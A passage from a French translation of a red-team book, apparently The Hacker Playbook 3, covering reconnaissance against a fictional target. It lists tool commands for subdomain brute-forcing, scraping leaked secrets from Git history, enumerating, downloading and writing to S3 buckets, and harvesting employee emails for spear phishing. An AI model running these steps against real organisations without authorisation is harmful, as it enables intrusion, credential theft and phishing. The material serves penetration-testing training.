Nous constatons souvent que les entreprises ne réalisent pas ce qu’elles rendent disponible sur Internet. En particulier avec l’augmentation de l’utilisation du cloud, de nombreuses entreprises n’ont pas mis en œuvre correctement les contrôles d’accès (ACL, pour Access Control List). Elles croient que leurs serveurs sont protégés, mais nous découvrons qu’ils sont publiquement accessibles. Il s’agit notamment des bases de données Redis, des serveurs Jenkin, de l’implémentation Tomcat, des bases de données NoSQL, et bien d’autres encore – dont beaucoup ont permis l’exécution de code à distance ou la perte d’informations d’identification personnelles (ou PII, pour Personally Identifying Information).
La façon la moins onéreuse et la plus « sale » de trouver ces serveurs dans le cloud consiste à scanner manuellement les certificats SSL sur Internet de manière automatisée. Nous pouvons prendre la liste des plages IP de nos fournisseurs de cloud, et les analyser régulièrement pour extraire les certificats SSL. En étudiant ces certificats SSL, nous pouvons apprendre beaucoup de choses sur une organisation. À partir de l’analyse effectuée sur la plage cyberspacekittens, nous pouvons voir les noms d’hôtes dans les certificats, avec .int. pour les serveurs internes, .dev. pour le développement, vpn. pour les serveurs VPN, et ainsi de suite. Vous pouvez souvent obtenir des noms d’hôtes internes qui n’ont peut-être pas d’adresses IP publiques, ou d’adresses IP sur liste blanche pour leurs réseaux internes.
Pour faciliter la recherche de noms d’hôtes dans les certificats, sslScrape a été développé pour THP. Cet outil utilise Masscan pour scanner rapidement de grands réseaux. Une fois les services identifiés sur le port 443, il décortique ensuite les noms d’hôtes dans les certificats.
Pour exécuter sslScrape (https://github.com/cheetz/sslScrape), faites :
	cd /opt/sslScrape

	python ./sslScrape.py [Addresse IP Plage CIDR]


Ceci est illustré sur les Figures 2.5 et 2.6.
[image: FIGURE 2.5 : Informations sur la page de cyberspacekittens.com.]
FIGURE 2.5 : Informations sur la page de cyberspacekittens.com.
Exemples d’adresses IP pour les principaux fournisseurs de cloud computing :
	Amazon : https://ip-ranges.amazonaws.com/ip-ranges.json

	Azure : https://www.microsoft.com/en-us/download/details.aspx?id=41653

	Google Cloud : https://cloud.google.com/compute/docs/faq#ipranges


Tout au long de ce livre, j’essaie de fournir des exemples et un cadre de départ. Toutefois, c’est à vous d’approfondir tout ceci. Je vous recommande fortement de prendre ce code comme point de départ, de sauvegarder tous les noms d’hôtes dans une base de données, de créer une interface utilisateur Web, de connecter des ports supplémentaires qui pourraient avoir des certificats comme 8443, et peut-être même de rechercher certaines vulnérabilités comme des dépôts de style .git/.svn.
[image: FIGURE 2.6 : Exécution de sslScrape.]
FIGURE 2.6 : Exécution de sslScrape.

Découverte de sous-domaines
En ce qui concerne l’identification des plages d’adresses IP, nous pouvons normalement chercher l’entreprise dans des sources publiques comme l’American Registry for Internet Numbers (ARIN) à l’adresse https://www.arin.net/. Nous pouvons parcourir l’espace d’adresses IP pour trouver les propriétaires, rechercher les réseaux appartenant à des entreprises, les numéros de systèmes autonomes (ASN, pour Autonomous System Numbers) par organisation, et plus encore. Si nous regardons à l’extérieur de l’Amérique du Nord, nous pouvons le faire via AFRINIC (Afrique), APNIC (Asie), LACNIC (Amérique latine), et RIPE NCC (Europe). Ils sont tous accessibles au public et répertoriés sur leurs serveurs.
Vous pouvez rechercher n’importe quel nom d’hôte ou de domaine pleinement qualifié (FQDN) pour trouver le propriétaire de ce domaine à travers de nombreuses sources publiques disponibles (l’un de mes favoris pour trouver rapidement un propriétaire est https://centralops.net/co/domaindossier.aspx3). Ce que vous ne pouvez trouver nulle part, ce sont des sous-domaines. Les informations des sous-domaines sont stockées sur le serveur DNS de la cible par opposition à celles qui sont mémorisées dans un système d’enregistrement public central. Vous devez savoir quoi chercher pour trouver un sous-domaine valide.
Pourquoi les sous-domaines sont-ils si importants à trouver pour vos cibles de victimes ? Voici quelques raisons :
	Certains sous-domaines peuvent indiquer le type de serveur dont il s’agit (par exemple dev, vpn, mail, internal, test). Exemple : mail.cyberspacekittens.com.

	Certains serveurs ne répondent pas par IP. Ils pourraient se trouver sur une infrastructure partagée et ne répondre que par des domaines pleinement qualifiés. C’est très courant dans le cas d’infrastructures cloud. Vous pouvez donc exécuter nmap toute la journée, mais si vous ne pouvez pas trouver le sous-domaine, vous ne saurez pas vraiment quelles applications se trouvent derrière cette adresse IP.

	Les sous-domaines peuvent fournir des informations sur l’endroit où la cible héberge ses serveurs. Cela se fait en retrouvant tous les sous-domaines d’une entreprise, en effectuant des recherches inverses et en trouvant où les adresses IP sont hébergées. Une entreprise peut utiliser plusieurs fournisseurs de cloud, ainsi que plusieurs centres de données.


Passons maintenant en revue certains des outils actuels et nouveaux dont nous pouvons disposer pour faire de meilleures découvertes. N’hésitez pas à participer et à scanner le domaine cyberspacekittens.com.
Discover Scripts
Discover Scripts (https://github.com/leebaird/discover) est l’un de mes outils de reconnaissance/découverte préférés. En effet, il combine tous les outils de reconnaissance sur Kali Linux et est maintenu régulièrement. La reconnaissance passive de domaine se servira de tous les outils suivants : Passive utilise ARIN, dnsrecon, goofile, goog-mail, goohost, theHarvester, Metasploit, URLCrazy, Whois, de multiples sites Web, et recon-ng.
	git clone https://github.com/leebaird/discover/opt/discover/

	cd /opt/discover/

	./update.sh

	./discover.sh

	Domain

	Passive

	[Nom de l’entreprise]

	[Nom du domaine]

	firefox /root/data/[Domaine]/index.htm


La meilleure part de Discover Scripts, c’est qu’il prend l’information qu’il collecte, et qu’il continue de rechercher en fonction de cette information. Par exemple, en effectuant une recherche dans le référentiel PGP public, il peut identifier les courriels, puis utiliser cette information pour effectuer une recherche dans Have I Been Pwned (https://haveibeenpwned.com/) via Recon-NG. Cela nous permettra de savoir si des mots de passe ont été trouvés grâce à des données qui ont été compromises et rendues publiques (ce que vous devrez trouver par vous-même).

KNOCK
Nous voulons ensuite avoir une bonne idée concernant tous les serveurs et les domaines qu’une entreprise peut utiliser. Bien qu’il n’y ait pas d’endroit central où les sous-domaines sont enregistrés, nous pouvons retrouver différents sous-domaines par force brute avec un outil, tel que Knock, pour identifier quels serveurs ou hôtes pourraient être disponibles pour une attaque.
Knockpy est un outil python conçu pour énumérer des sous-domaines sur un domaine cible via une liste de mots.
Knock est un excellent outil d’analyse de sous-domaines. Il prend une liste de sous-domaines et la vérifie pour voir si elle se résout. Ainsi, si vous avez cyberspacekittens.com, Knock va prendre cette liste de mots (http://bit.ly/2JOkUyj), et voir s’il existe des sous-domaines pour [sous-domaine].cyberspacekittens.com. La seule réserve à émettre ici, c’est que ce travail vaudra ce que vaut votre liste de mots. Par conséquent, avoir une meilleure liste de mots augmente vos chances de trouver des sous-domaines.
Un de mes sous-domaines favoris est créé par jhaddix et se trouve ici : http://bit.ly/2qwxrxB. Les sous-domaines sont l’une de ces choses que vous devriez toujours collecter. D’autres bonnes listes peuvent être trouvées sur votre image THP Kali, sous /opt/SecLists ou ici :
https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS

Labo :
Trouvez tous les sous-domaines de cyberspacekittens.com :
	cd /opt/knock/knockpy

	python ./knockpy.py cyberspacekittens.com

	Ceci utilise la liste de mots de base de Knock. Essayez de télécharger et d’utiliser une liste de mots beaucoup plus grande. Essayez d’utiliser la liste http://bit.ly/2qwxrxB à l’aide du commutateur -u :
	python./knockpy.pycyberspacekittens.com-u all.txt




Quels types de différences avez-vous relevées depuis Discover Scripts ? Quels types de domaines seraient vos premières cibles pour des attaques, ou être utilisés avec des attaques de domaine par harponnage (spear phishing) ? Faites un essai dans le monde réel. Trouvez un programme de bug bounty, et cherchez des sous-domaines d’apparence juteuse.

Sublist3r
Comme mentionné précédemment, le problème avec Knock est qu’il est seulement aussi bon que votre liste de mots. Certaines entreprises ont des sous-domaines très uniques qui ne peuvent pas être trouvés à travers une liste de mots courants. Les moteurs de recherche sont la deuxième meilleure ressource à consulter. Au fur et à mesure que les sites se font grignoter, les fichiers avec des liens sont analysés et les ressources publiques ainsi « raclées » deviennent disponibles, ce qui signifie que nous pouvons utiliser des moteurs de recherche pour faire le dur travail à notre place.
C’est ici que nous pouvons utiliser un outil comme Sublist3r. Notez cependant que ce type d’outil fait appel à différentes requêtes de recherche de style « google dork » qui peuvent ressembler à un bot. Cela pourrait vous placer temporairement sur liste noire et vous obliger à remplir un captcha à chaque requête, ce qui risquerait de limiter d’autant les résultats de votre scan. Pour lancer Sublister :
	cd /opt/Sublist3r

	python sublist3r.py -d cyberspacekittens.com -o cyberspacekittens.com


Vous remarquez des résultats qui n’ont peut-être jamais été trouvés par force brute ? Encore une fois, essayez cette technique contre un programme de bug bounty pour voir les différences significatives entre l’utilisation de la force brute et des moteurs de recherche.
Note : il existe une version dérivée de Sublist3r qui effectue également la vérification des sous-domaines : https://github.com/Plazmaz/Sublist3r.

SubBrute
Le dernier outil de sous-domaine est appelé SubBrute. SubBrute est un projet communautaire dont l’objectif est de créer l’outil de recensement de sous-domaines le plus rapide et le plus précis possible. Une partie de la magie qui sous-tend SubBrute est qu’il utilise des résolveurs ouverts comme une sorte de proxy pour contourner la limitation du taux de réponses DNS (https://www.us-cert.gov/ncas/alerts/TA13-088A). Ceci offre également une couche d’anonymat, car SubBrute n’envoie pas de trafic directement aux serveurs de noms de la cible (https://github.com/TheRook/subbrute).
Non seulement SubBrute est extrêmement rapide, mais il exécute une fonction de spider DNS qui parcourt les enregistrements DNS énumérés. Pour exécuter SubBrute :
	cd /opt/subbrute

	./subbrute.py cyberspacekittens.com


Nous pouvons également faire passer SubBrute à un niveau supérieur et le combiner avec MassDNS pour obtenir une résolution DNS offrant de très hautes performances (http://bit.ly/2EMKIHg).


Github
Github est un trésor rempli de données étonnantes. Il y a eu un certain nombre de tests d’intrusion et d’évaluations Red Team où nous avons pu obtenir des mots de passe, des clés API, du code source ancien, des noms d’hôte/IP internes, et plus encore. Ils ont soit conduit à un compromis direct, soit contribué à une autre attaque. Ce que nous constatons, c’est que de nombreux développeurs soit envoient du code vers le mauvais dépôt (en le plaçant dans leur dépôt public au lieu du dépôt privé de leur entreprise), soit copient accidentellement du matériel sensible (comme des mots de passe) et essaient ensuite de le supprimer. Une bonne chose avec Github est qu’il suit chaque modification ou suppression de code. Cela signifie que si du code sensible à un moment donné a été placé dans un dépôt, et que ce fichier sensible est supprimé, il est toujours pisté dans les changements de code. Tant que le dépôt est public, vous pourrez voir tous ces changements.
Nous pouvons soit utiliser la recherche de Github pour identifier certains noms d’hôte/noms d’organisation, soit simplement utiliser la recherche Google Dork, par exemple :
site:github.com + «cyberspacekittens»

Pour les exemples suivants, essayez de rechercher des programmes de bug bounty en utilisant différentes organisations au lieu de nos chatons du cyberespace (cyberspacekittens).
Au cours de vos recherches, vous devriez trouver https://github.com/cyberspacekittens/dnscat2 (un exemple modifié pour le labo GitHub). Vous pouvez jeter un coup d’œil manuellement sur ce dépôt, mais il est en fait si grand que vous aurez du mal à passer en revue tous les projets pour trouver quelque chose de vraiment profitable.
Comme mentionné précédemment, lorsque vous éditez ou supprimez un fichier dans Github, celui-ci assure un suivi de tout. Heureusement pour les membres de la Red Team, beaucoup de gens oublient cette fonctionnalité. Par conséquent, nous voyons souvent des personnes mettre des informations sensibles dans Github, les supprimer, et ne pas réaliser qu’elles sont toujours là ! Voyons si nous pouvons retrouver certaines de ces pierres précieuses…
Truffle Hog
L’outil Truffle Hog (littéralement, cochon truffier) scanne différents historiques et branches de validation pour rechercher des clés à haute entropie, et les affiche. C’est idéal pour trouver des secrets, des mots de passe, des clés, et plus encore. Voyons si nous pouvons trouver des secrets dans le dépôt Github de cyberspacekittens.
Labo :
	cd /opt/trufflehog/truffleHog

	python truffleHog.py https://github.com/cyberspacekittens/dnscat2


Cette séquence est illustrée sur la Figure 2.7.
Comme nous pouvons le voir dans l’historique, les clés AWS et SSH ont été supprimées de server/controller/csk.config, mais si vous observez le dépôt courant, vous ne pourrez pas trouver ce fichier :
https://github.com/cheetz/dnscat2/tree/master/server/controller.

Encore meilleur (mais un peu plus compliqué à configurer), il y a git-all-secrets (https://github.com/anshumanbh/git-all-secrets). Git-all-secrets est utile lorsqu’on examine de grandes organisations. Vous pouvez simplement pointer vers une organisation, et lui demander de cloner le code localement, puis le scanner avec Truffle-hog et repo-supervisor.
[image: FIGURE 2.7 : Le cochon truffier en action.]
FIGURE 2.7 : Le cochon truffier en action.
Vous devrez d’abord créer un jeton d’accès Github, qui est gratuit en créant un compte Github et en sélectionnant Generate New Token dans les paramètres.
Pour exécuter git-all-secrets :
	cd /opt/git-all-secrets

	docker run -it abhartiya/tools_gitallsecrets:v3 -repoURL=https://github.com/cyberspacekittens/dnscat2 -token=[Clé API] -output=results.txt

	Cela va cloner le dépôt et lancer l’analyse. Vous pouvez même parcourir des organisations entières dans Github avec le drapeau -org.

	Une fois que le conteneur a fini son exécution, récupérez son ID du conteneur en tapant :
	docker ps -a




	Une fois que vous avez l’ID du conteneur, transférez le fichier des résultats du conteneur vers l’hôte en tapant :
	docker cp <id-conteneur>:/data/results.txt.






Cloud
Comme nous l’avons déjà dit, le cloud est un domaine dans lequel beaucoup d’entreprises ne sécurisent pas correctement leur environnement. Les problèmes les plus courants que nous rencontrons généralement sont :
	Amazon S3 compartiments manquants :
	https://hackerone.com/reports/121461



	Amazon S3 compartiments et autorisations :
	https://hackerone.com/reports/128088



	Pouvoir lister et écrire des fichiers dans des compartiments AWS publics :
	aws s3 ls s3 s3://[nom du compartiment]
aws s3 mv test.txt s3://[nom du compartiment]



	Absence de logging.


Avant de pouvoir commencer à tester des erreurs de configuration sur différents compartiments AWS, nous devons d’abord les identifier. Nous allons essayer différents outils pour voir ce que nous pouvons découvrir sur l’infrastructure AWS de notre victime.
Énumération de compartiments S3
Il existe de nombreux outils permettant d’effectuer le dénombrement de compartiments S3 pour AWS. Ces outils prennent généralement des mots-clés ou des listes, appliquent des permutations multiples, puis essaient d’identifier différents compartiments. Par exemple, nous pouvons utiliser un outil appelé Slurp (https://github.com/bbb31/slurp) pour trouver des informations sur notre cible CyberSpaceKittens :
	cd /opt/slurp

	./slurp domain -t cyberspacekittens.com

	./slurp keyword -t cyberspacekittens


Cette procédure est illustrée sur la Figure 2.8.
[image: FIGURE 2.8 : Utiliser Slurp.]
FIGURE 2.8 : Utiliser Slurp.

Bucket Finder
Un autre outil, Bucket Finder, tentera non seulement de trouver différents compartiments, mais aussi de télécharger tout le contenu de ces compartiments pour l’analyser :
	wget https://digi.ninja/files/bucket_finder_1.1.tar.bz2-Obucket_finder_1.1.tar.bz2

	cd /opt/bucket_finder

	./bucket_finder.rb --region us my_words --download


Cette procédure est illustrée sur la Figure 2.9.
[image: FIGURE 2.9 : Utiliser Bucket Finder.]
FIGURE 2.9 : Utiliser Bucket Finder.
Vous avez lancé une recherche sur l’infrastructure de Cyber Space Kittens, et identifié l’un de ses compartiments S3 (cyberspacekittens.s3.amazonaws.com). Quelles sont maintenant vos premières étapes pour récupérer ce que vous pouvez et ne pouvez pas voir sur le compartiment S3 ? Vous pouvez d’abord le faire apparaître dans un navigateur et afficher quelques informations (voir la Figure 2.10).
Avant de commencer, nous devons créer un compte AWS pour obtenir un ID de clé d’accès. Vous pouvez obtenir le vôtre gratuitement chez Amazon ici :
https://aws.amazon.com/fr/s/dm/optimization/server-side-test/free-tier/free_np/

Une fois que vous avez créé un compte, connectez-vous à AWS, accédez à vos informations d’identification de sécurité (https://amzn.to/2ItaySR), puis à Access Keys. Une fois en possession de votre code d’accès AWS et de votre clé secrète, nous pouvons interroger nos compartiments S3.
Interrogez S3 et téléchargez tout :
	Installer awscli :
	sudo apt install awscli



	Configurer les informations d’identification :
	aws configure



	Rechercher les autorisations sur le compartiment S3 de CyberSpaceKittens :
	aws s3api get-bucket-acl --bucket cyberspacekittens



	Lire les fichiers du compartiment S3 :
	aws s3 ls s3://cyberspacekittens



	Télécharger tout dans le compartiment S3 :
	aws s3 sync s3://cyberspacekittens




[image: FIGURE 2.10 : Afficher des informations sur le compartiment S3 de Cyber Space Kittens.]
FIGURE 2.10 : Afficher des informations sur le compartiment S3 de Cyber Space Kittens.
Outre la requête S3, la prochaine chose à tester est l’écriture dans ce compartiment. Si nous avons un accès en écriture, cela pourrait permettre un RCE complet de leurs applications. Nous avons souvent vu que, lorsque des fichiers stockés dans des compartiments S3 sont utilisés sur toutes leurs pages (et si nous pouvons modifier ces fichiers), nous pouvons injecter notre code malveillant sur leurs serveurs d’applications Web.
Pour écrire vers S3 :
	echo “test” > test.txt

	aws s3 mv test.txt s3://cyberspacekittens

	aws s3 ls s3://cyberspacekittens


Cette procédure est illustrée sur la Figure 2.11.
[image: FIGURE 2.11 : Écrire dans un compartiment S3.]
FIGURE 2.11 : Écrire dans un compartiment S3.
Note : l’écriture a été supprimée du groupe Everyone. C’était juste pour la démonstration.

Modifier les contrôles d’accès dans les compartiments AWS
Lors de l’analyse de la sécurité d’AWS, nous devons vérifier les contrôles relatifs aux autorisations sur les objets et les compartiments. Les objets sont les fichiers individuels, et les compartiments sont des unités logiques de stockage. Ces deux autorisations peuvent potentiellement être modifiées par n’importe quel utilisateur si elles sont incorrectement définies.
Tout d’abord, nous pouvons examiner chaque objet pour voir si ces autorisations sont correctement configurées :
	aws s3api get-object-acl --bucket cyberspacekittens --key ignore.txt


Nous allons voir que le fichier ne peut être écrit que par un utilisateur nommé « secure ». Il n’est pas ouvert à tout le monde. Si nous disposions d’un accès en écriture, nous pourrions utiliser put-object dans s3api pour modifier ce fichier.
Ensuite, nous cherchons à voir si nous pouvons modifier les compartiments eux-mêmes. Cela peut se réaliser avec :
	aws s3api get-bucket-acl --bucket cyberspacekittens


Cette procédure est illustrée sur la Figure 2.12.
À nouveau, dans ces deux cas, READ est autorisé globalement, mais FULL_CONTROL (ou toute écriture) n’est autorisé que pour un compte appelé « secure ». Si nous avions accès au compartiment, nous pourrions utiliser --grant-full-control pour nous donner un contrôle total sur le compartiment et ses objets.
[image: FIGURE 2.12 : Rechercher les accès en écriture dans des compartiments.]
FIGURE 2.12 : Rechercher les accès en écriture dans des compartiments.
Ressources :
https://labs.detectify.com/2017/07/13/a-deep-dive-into-aws-s3-access-controls-taking-full-control-over-your-assets/


Prises de contrôle de sous-domaines
Les prises de contrôle de sous-domaines sont une vulnérabilité courante que l’on rencontre dans presque toutes les entreprises de nos jours. Ce qui se passe, c’est qu’une entreprise utilise un fournisseur de CMS/Contenu/Cloud tiers, et fait pointer ses sous-domaines vers ces plates-formes. S’ils oublient de configurer le service tiers ou de se désinscrire de ce serveur, un attaquant peut prendre le contrôle de ce nom d’hôte via le tiers.
Par exemple, vous enregistrez un compartiment Amazon S3 sous le nom testlab.s3.amazonaws.com. Vous faites alors pointer le sous-domaine testlab.company.com de votre entreprise vers testlab.s3.amazonaws.com. Un an plus tard, vous n’avez plus besoin du compartiment S3 testlab.s3.amazonaws.com. Vous vous désinscrivez, mais vous oubliez la redirection CNAME pour testlab.company.com. Quelqu’un peut maintenant aller sur AWS, configurer testlab.s3.amazon.com et avoir un compartiment S3 valide sur le domaine de la victime.
Un outil pour rechercher des sous-domaines vulnérables s’appelle tko-subs. Nous pouvons utiliser cet outil pour vérifier si le contrôle d’un des sous-domaines que nous avons trouvé pointant vers un fournisseur de CMS (Heroku, Github, Shopify, Amazon S3, Amazon CloudFront, etc.) peut être repris.
Pour exécuter tko-subs :
	cd /opt/tko-subs/

	./tkosubs -domains=list.txt -data=providers-data.csv -output=output.csv


Si nous trouvons un CNAME en suspens, nous pouvons utiliser tko-subs pour prendre le contrôle sur Github Pages et Heroku Apps. Sinon, il faudrait le faire manuellement. Deux autres outils qui peuvent aider pour la prise de contrôle de sous-domaines sont :
	HostileSubBruteforcer :
	https://github.com/nahamsec/HostileSubBruteforcer



	autoSubTakeover :
	https://github.com/JordyZomer/autoSubTakeover




Vous voulez en savoir plus sur les vulnérabilités d’AWS ? Pour un excellent survol du sujet, voyez : http://flaws.cloud/.


Emails
Une grande partie de toute attaque d’ingénierie sociale consiste à trouver les adresses email et les noms des employés. Nous avons utilisé plus haut Discover Script, qui est très utile pour collecter une grande partie de ces données. J’ai l’habitude de partir de scripts Discover et de commencer à fouiller dans les autres outils. Chaque outil fait les choses un peu différemment, et il est bénéfique d’utiliser autant de processus automatisés que vous le pouvez.
Une fois que vous obtenez une petite liste d’emails, il est bon de comprendre leur format de messagerie. S’agit-il de quelque chose comme prénom.nom@cyberspacekittens.com, ou comme nom.prénom@cyberspacekittens.com, ou encore comme initiale.nom@cyberspacekittens.com ? Une fois que vous aurez trouvé le format utilisé, nous pourrons nous servir d’outils comme LinkedIn pour trouver d’autres employés et essayer d’identifier leurs adresses email.
SimplyEmail
Nous savons tous que le harponnage (ou spear phishing) demeure l’une des méthodes d’attaque les plus efficaces. Si nous n’avons pas de vulnérabilités par rapport à l’extérieur, attaquer les utilisateurs est l’étape suivante. Pour construire une bonne liste d’adresses email, nous pouvons utiliser un outil comme SimplyEmail. La sortie de cet outil fournira le format de l’adresse de messagerie de l’entreprise et une liste d’utilisateurs valides.
Labo :
Trouver tous les comptes de messagerie pour cyberspacekittens.com (voir la Figure 2.13).
	cd /opt/SimplyEmail

	./SimplyEmail.py -all -v -e cyberspacekittens.com

	firefox cyberspacekittens.com<date_time>/Email_List.html


L’exécution peut être longue, car elle analyse Bing, Yahoo, Google, Ask Search, des fichiers, et bien plus encore. Cela peut aussi donner l’impression que votre réseau ressemble à un bot pour les moteurs de recherche, et engendrer des captchas si vous produisez trop de requêtes de recherche.
[image: FIGURE 2.13 : Utiliser SimplyEmail.]
FIGURE 2.13 : Utiliser SimplyEmail.
Faites les tests sur votre propre entreprise. Voyez-vous des adresses email que vous reconnaissez ? Il pourrait s’agir des premières adresses électroniques susceptibles d’être ciblées dans le cadre d’une campagne à grande échelle.

Anciennes brèches
L’une des meilleures façons de récupérer des comptes de messagerie consiste à surveiller et à capturer continuellement les violations passées. Je ne veux pas fournir de lien direct vers des fichiers de brèches, mais je vais faire référence à certains de ceux que j’ai trouvés utiles :
	Fuite de 1,4 milliard de mots de passe en 2017 :
	https://thehackernews.com/2017/12/data-breach-password-list.html



	Désastre Adobe de 2013 :
	https://nakedsecurity.sophos.com/2013/11/04/anatomy-of-a-password-disaster-adobes-giant-sized-cryptographic-blunder/



	Dump Pastebin :
	https://psbdmp.ws/



	Dump Exploit. In

	Google Dork Pastebin :
	site:pastebin.com intext:cyberspacekittens.com







Autres ressources open source
Je ne savais pas exactement où placer ces ressources, mais je voulais fournir une collection d’autres références utilisées pour les campagnes de style Red Team. Cela peut aider à identifier les personnes, les lieux, les informations de domaine, les médias sociaux, l’analyse d’images, et plus encore.
	Collection de liens OSINT :
	https://github.com/IVMachiavelli/OSINT_Team_Links



	Framework OSINT :
	http://osintframework.com/





Conclusion
Dans ce chapitre, nous avons passé en revue tous les outils de reconnaissance et différentes tactiques utilisés dans le métier. Ce n’est qu’un point de départ, car bon nombre de ces techniques sont manuelles et demandent beaucoup de temps à être exécutées. C’est à vous de passer au niveau supérieur, d’automatiser tous ces outils et de rendre la reconnaissance rapide et efficace.


1.  Voir par exemple https://fr.wikipedia.org/wiki/Cron.
2. CIDR est l’abréviation de Classless Inter-Domain Routing. Voir par exemple https://fr.wikipedia.org/wiki/Adresse_IP ou https://en.wikipedia.org/wiki/Classless_Inter-Domain_Routing (en anglais).
3. En Europe, l’application du RGPD limite l’accès à un certain nombre d’informations. Voir par exemple https://hexillion.com/help/gdpr-and-whois.

Chapitre 3
Le lancer – Exploitation des applications Web
Au cours des toutes dernières années, nous avons été témoins d’attaques Web critiques, orientées vers l’extérieur. Cela va d’Apache Struts 2 (bien que cela n’ait pas été confirmé pour la brèche Equifax – http://bit.ly/2HokWi0), à Panera Bread (http://bit.ly/2qwEMxH), en passant par Uber (http://ubr.to/2hIO2tZ). Il ne fait aucun doute que nous continuerons à voir de nombreuses autres violations graves de l’Internet public sur des points de terminaison.
L’industrie de la sécurité, prise globalement, fonctionne de façon cyclique. Si vous regardez les différentes couches du modèle OSI, les attaques se décalent vers une couche différente tous les deux ans. En termes de Web, au début des années 2000, il y avait des tonnes d’exploits de type SQLi et RFI. Cependant, une fois que les entreprises ont commencé à durcir leur environnement externe et à effectuer des tests de pénétration externe, nous, en tant qu’attaquants, sommes passés à des attaques de couche 8 axées sur l’ingénierie sociale (phishing) comme point d’entrée initial. Aujourd’hui, alors que nous voyons les entreprises améliorer leur sécurité interne grâce à la protection des points de terminaison et par pare-feu de nouvelle génération, nous nous concentrons de nouveau sur l’exploitation des applications. Nous avons également constaté une augmentation considérable de la complexité des applications, des API et des langages, ce qui a entraîné la réouverture de nombreuses vulnérabilités anciennes et même nouvelles.
Puisque ce livre est essentiellement orienté vers les concepts de campagnes Red Team, nous n’irons pas trop loin en ce qui concerne les différentes vulnérabilités du Web ou la manière de les exploiter manuellement. Ce ne sera pas votre livre de style « check-list ». Vous allez donc vous concentrer sur les vulnérabilités que les Red Teamers et les méchants rencontrent dans le monde réel, ce qui conduit à la compromission de données à caractère personnel, d’adresses IP, de réseaux, et ainsi de suite. Pour ceux qui recherchent les méthodologies Web très détaillées, je recommande toujours de commencer par le guide OWASP (https://www.owasp.org/images/1/19/OTGv4.pdf).
Comme la plupart des attaques n’ont pas changé depuis la dernière version de cet ouvrage, nous ne traiterons pas d’exemples comme SQLMap, les attaques IDOR (Insecure Direct Object Reference), et les vulnérabilités CSRF (Cross-Site Request Forgery) dans les exercices suivants. Nous nous concentrerons plutôt sur les attaques critiques les plus récentes.
Programmes de bug bounty
Avant de commencer à apprendre comment exploiter les applications Web, parlons un peu des programmes dits de bug bounty1. La question la plus fréquente est : « Comment puis-je continuer à apprendre après avoir suivi ces formations ? » Ma meilleure recommandation est de pratiquer sur des systèmes réels et vivants. Vous pouvez participer à des laboratoires de formation toute la journée, mais sans cette expérience de la vie réelle, il est difficile de progresser.
Une mise en garde cependant : en moyenne, il faut environ 3 à 6 mois avant de commencer à trouver régulièrement des bogues. Notre conseil : ne vous sentez pas frustré, restez informé sur ce que font les autres chasseurs de primes, et n’oubliez pas de consulter les anciens programmes.
Les programmes de bug bounty les plus courants sont HackerOne (https://www.hackerone.com), BugCrowd (https://bugcrowd.com/programs) et SynAck (https://www.synack.com/red-team/). Il y en a encore beaucoup d’autres sur le marché (https://www.vulnerability-lab.com/list-of-bug-bounty-programs.php). Ces programmes peuvent être gratuits, mais aussi coûter jusqu’à 20 000 $ voire plus.
Nombre de mes étudiants trouvent que c’est intimidant de lancer une chasse aux bogues. En fait, il vous faut juste plonger, consacrer quelques heures par jour, et vous concentrer pour comprendre comment obtenir ce sixième sens qui permet de trouver des bogues.
En général, un bon point de départ consiste à regarder les programmes de bug bounty n’offrant pas de récompenses (les pros ne s’y intéresseront évidemment pas) ou les grands programmes plus anciens comme Yahoo. Ces types de sites ont tendance à avoir une portée massive et beaucoup de serveurs hérités. Comme nous l’avons mentionné dans des livres précédents, il est important d’identifier les tests d’intrusion (ou pentests), et les programmes de primes aux bogues ne sont pas différents. Bon nombre des programmes précisent ce qui peut et ne peut pas être fait (autrement dit, pas de balayage systématique, pas d’outils automatisés, quels domaines peuvent être attaqués, etc.). Parfois, vous avez de la chance et ils autorisent quelque chose comme *.entreprise.com, mais, d’autres fois, vous pourriez être limité à un seul FQDN (nom de domaine pleinement qualifié).
Intéressons-nous par exemple à eBay, car ils ont un programme public de bug bounty. Sur leur site (https://pages.ebay.com/securitycenter/security_researchers.html), ils énoncent des lignes directrices, des domaines admissibles, des vulnérabilités admissibles, des exclusions, des manières de faire un rapport, sans oublier de vous remercier (voir la Figure 3.1).
[image: FIGURE 3.1 : Le centre de sécurité d’eBay.]
FIGURE 3.1 : Le centre de sécurité d’eBay.
La façon dont vous rapportez les vulnérabilités à l’entreprise est généralement tout aussi importante que la découverte elle-même. Vous voulez vous assurer que vous fournissez le plus de détails possible. Cela inclut le type de vulnérabilité, la gravité/criticité, les mesures que vous avez prises pour exploiter la vulnérabilité, les captures d’écran, et même une preuve opérationnelle du concept. Si vous avez besoin d’aide pour créer des rapports cohérents, consultez ce formulaire de génération de rapports (voir la Figure 3.2) :
https://buer.haus/breport/index.php

Une chose à noter au sujet de l’exploitation des vulnérabilités pour les programmes de bug bounty est que j’ai vu quelques cas où les chercheurs se sont laissé emporter et sont allés au-delà la validation de la vulnérabilité. Certains de ces exemples incluent le dumping d’une
[image: FIGURE 3.2 : Un outil de génération de rapport.]
FIGURE 3.2 : Un outil de génération de rapport.
base de données entière après avoir trouvé une injection SQL, la défiguration d’une page avec quelque chose qu’ils pensaient drôle après la prise de contrôle d’un sous-domaine, et même comment effectuer un mouvement latéral dans un environnement de production après une vulnérabilité initiale d’exécution de code distant. Ces « facéties » pourraient mener à des problèmes juridiques sérieux. Sachez donc faire preuve de jugement, vérifiez la portée du programme et rappelez-vous que, s’il vous semble illégal, c’est qu’il l’est probablement.

Introduction aux attaques Web – Cyber Space Kittens
Après avoir terminé la reconnaissance et la découverte, vous passez en revue tous les différents sites que vous avez trouvés. En étudiant vos résultats, vous ne voyez pas les serveurs standard exploitables/applications mal configurées. Il n’y a pas de serveurs Apache Tomcat ou Heartbleed/ShellShock, et il semble qu’ils aient corrigé tous les problèmes liés à Apache Strut et leurs applications CMS.
Votre sixième sens passe à la vitesse supérieure, et vous commencez à fouiner dans leur application Customer Support System. Quelque chose ne va pas, mais par où commencer ?
Pour toutes les attaques étudiées ici, une machine virtuelle THP3 VMWare personnalisée est disponible pour travailler avec tous ces labos. Rappelons que cette machine virtuelle est disponible gratuitement ici :
http://thehackerplaybook.com/get.php?type=csk-web

Pour configurer la démo pour l’environnement Web (Customer System Support, soit support système client) :
	Téléchargez la machine virtuelle THP personnalisée depuis :
	http://thehackerplaybook.com/get.php?type=csk-web



	Téléchargez la liste complète des commandes pour les labos (le lien Bit.ly est http://bit.ly/2qBDrFo) :
	https://github.com/cheetz/THP-ChatSupportSystem/blob/master/lab.txt



